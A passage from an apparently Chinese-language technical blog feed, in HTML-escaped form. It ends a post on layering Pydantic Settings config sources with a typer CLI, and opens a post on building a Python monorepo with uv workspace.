&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Hello, &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;config_module&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;cli_app: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cli_app&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nd"&gt;@cli_app.command&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bye&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;config_module&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;formal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Goodbye!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;See ya!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nd"&gt;@cli_app.callback&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Annotated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;typer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Option&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;env_config_file&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;config_module&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;cli_app&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;我们定义了一个&lt;code&gt;Settings(BaseSettings)&lt;/code&gt;类，这是我们的应用配置类。我们可以在其中定义应用配置项，或是嵌套其他的子配置类。子配置类不需要再继承&lt;code&gt;BaseSettings&lt;/code&gt;, 而是继承&lt;code&gt;BaseModel&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Settings&lt;/code&gt;类中，我们可以通过自定义&lt;code&gt;settings_customise_sources&lt;/code&gt;方法中返回的元组内元素的顺序，调整 Pydantic 导入配置源的优先级。靠前的配置源中配置项的值将不会被靠后的配置源的配置项值所覆盖。靠前的配置源成功读取之后并不会略过之后的配置源。也就是说，如果某一项配置值在靠前的配置源未出现，但在靠后的配置源出现，则会使用该出现的值。&lt;/p&gt;
&lt;p&gt;如果我们希望删除某个配置源，那么我们可以从返回的元组中剔除它（如本例的&lt;code&gt;env_settings&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;要导入新的配置源，同样也可以在返回的元组中添加它们。本例添加了 &lt;code&gt;TomlConfigFileSettingsSource&lt;/code&gt;，&lt;code&gt;YamlConfigFileSettingsSource&lt;/code&gt;。它们会从&lt;code&gt;Settings&lt;/code&gt;类的&lt;code&gt;model_config&lt;/code&gt;中的&lt;code&gt;toml_file&lt;/code&gt;等变量获取配置文件位置。例如这里会获取运行根目录下的&lt;code&gt;myapp.toml&lt;/code&gt;。此处可以参考 Pydantic Settings 的源码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# pydantic_settings/sources/providers/toml.py&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TomlConfigSettingsSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InitSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ConfigFileSourceMixin&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; A source class that loads variables from a TOML file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;BaseSettings&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;toml_file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;PathType&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_PATH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toml_file_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toml_file&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;toml_file&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_PATH&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model_config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;toml_file&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toml_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_read_files&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toml_file_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toml_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_read_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;import_toml&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;toml_file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;version_info&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;tomli&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;toml_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;tomllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;toml_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__repr__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__name__&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;(toml_file=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toml_file_path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里我们自定义了一个从&lt;code&gt;env_var&lt;/code&gt;读取配置文件位置的&lt;code&gt;EnvVarFileConfigSettingsSource&lt;/code&gt;类，并希望它被优先使用。当&lt;code&gt;MYAPP_CONFIG_FILE&lt;/code&gt;环境变量被设置时，它会试图读取 TOML 或 YAML 配置文件。&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;main.py&lt;/code&gt;中，我们设置了一个 typer 的回调函数，为主 CLI 应用本身添加了&lt;code&gt;--config&lt;/code&gt;参数用于指定配置文件位置。用户如果指定了该参数，则会设置&lt;code&gt;MYAPP_CONFIG_FILE&lt;/code&gt;环境变量，并重载&lt;code&gt;settings&lt;/code&gt;实例。参见: &lt;a class="link" href="https://docs.pydantic.dev/latest/concepts/pydantic_settings/#in-place-reloading" target="_blank" rel="noopener"
&gt;Pydantic - Settings Management - In-place reloading&lt;/a&gt;&lt;/p&gt;</description></item><item><title>使用 uv workspace 搭建 Python Monorepo</title><link>https://v3n0.com/post/2025/monorepo-with-uv-workspace/</link><pubDate>Thu, 31 Jul 2025 23:29:54 +0800</pubDate><guid>https://v3n0.com/post/2025/monorepo-with-uv-workspace/</guid><description>&lt;p&gt;&lt;del&gt;紫外线用 uv 很合理吧(x&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;有时候我们想在同一个仓库中维护多个Python项目，并且保证他们的依赖关系。这种代码组织策略叫 &lt;a class="link" href="https://zh.wikipedia.org/wiki/Monorepo" target="_blank" rel="noopener"
&gt;&lt;strong&gt;Monorepo&lt;/strong&gt;&lt;/a&gt;, 这样更方便代码的重复利用，并且可以实现多个项目需要同时进行更改时的原子化提交，更便于团队协作 (&lt;del&gt;尤其是当团队只有你一个人的时候&lt;/del&gt;)。&lt;/p&gt;
&lt;p&gt;pip + pyproject.toml 不可能实现声明式的 Monorepo 搭建。不过2025年了，大多数人都更喜欢用 uv, poetry, pdm 之类的现代Python包和项目管理器。我倾向于使用uv。&lt;/p&gt;
&lt;p&gt;uv 提供了 &lt;code&gt;workspace&lt;/code&gt; 功能，和 Rust 的 Cargo 十分相似，因为 uv 本身就很受 Cargo 启发。通过这个功能，我们可以声明式地在 Pyproject.toml 中定义上面所说的 Monorepo ，我认为大多数时候已经足够好用。&lt;/p&gt;
&lt;p&gt;uv 关于 workspace 的文档中有一个例子，但只给出了 pyproject.toml 的内容。其实大多数时候我们是不用手动编辑 pyproject.toml 中关于 &lt;code&gt;[tool.uv]&lt;/code&gt; 的内容的，因为默认情况下，在现有包内运行 &lt;code&gt;uv init&lt;/code&gt; 将将新创建的成员添加到工作区，如果工作区根目录中不存在 &lt;code&gt;[tool.uv.workspace]&lt;/code&gt; 表格，则会创建一个。下面展示仅使用 uv 指令实现官方文档示例的仓库框架的搭建。&lt;/p&gt;
&lt;p&gt;信天翁和喂鸟器都需要 seeds，信天翁需要喂鸟器。我这里做个小修改，seeds 仍是工作区成员，seeds 同时还需要支持在泥土中执行发芽操作，因此它依赖 dirt 库。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;span class="lnt"&gt;56
&lt;/span&gt;&lt;span class="lnt"&gt;57
&lt;/span&gt;&lt;span class="lnt"&gt;58
&lt;/span&gt;&lt;span class="lnt"&gt;59
&lt;/span&gt;&lt;span class="lnt"&gt;60
&lt;/span&gt;&lt;span class="lnt"&gt;61
&lt;/span&gt;&lt;span class="lnt"&gt;62
&lt;/span&gt;&lt;span class="lnt"&gt;63
&lt;/span&gt;&lt;span class="lnt"&gt;64
&lt;/span&gt;&lt;span class="lnt"&gt;65
&lt;/span&gt;&lt;span class="lnt"&gt;66
&lt;/span&gt;&lt;span class="lnt"&gt;67
&lt;/span&gt;&lt;span class="lnt"&gt;68
&lt;/span&gt;&lt;span class="lnt"&gt;69
&lt;/span&gt;&lt;span class="lnt"&gt;70
&lt;/span&gt;&lt;span class="lnt"&gt;71
&lt;/span&gt;&lt;span class="lnt"&gt;72
&lt;/span&gt;&lt;span class="lnt"&gt;73
&lt;/span&gt;&lt;span class="lnt"&gt;74
&lt;/span&gt;&lt;span class="lnt"&gt;75
&lt;/span&gt;&lt;span class="lnt"&gt;76
&lt;/span&gt;&lt;span class="lnt"&gt;77
&lt;/span&gt;&lt;span class="lnt"&gt;78
&lt;/span&gt;&lt;span class="lnt"&gt;79
&lt;/span&gt;&lt;span class="lnt"&gt;80
&lt;/span&gt;&lt;span class="lnt"&gt;81
&lt;/span&gt;&lt;span class="lnt"&gt;82
&lt;/span&gt;&lt;span class="lnt"&gt;83
&lt;/span&gt;&lt;span class="lnt"&gt;84
&lt;/span&gt;&lt;span class="lnt"&gt;85
&lt;/span&gt;&lt;span class="lnt"&gt;86
&lt;/span&gt;&lt;span class="lnt"&gt;87
&lt;/span&gt;&lt;span class="lnt"&gt;88
&lt;/span&gt;&lt;span class="lnt"&gt;89
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ &lt;span class="nb"&gt;pwd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/veno/Projects/uv_playground
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv init --package albatross
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Initialized project &lt;span class="sb"&gt;`&lt;/span&gt;albatross&lt;span class="sb"&gt;`&lt;/span&gt; at &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/albatross&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ &lt;span class="nb"&gt;cd&lt;/span&gt; albatross
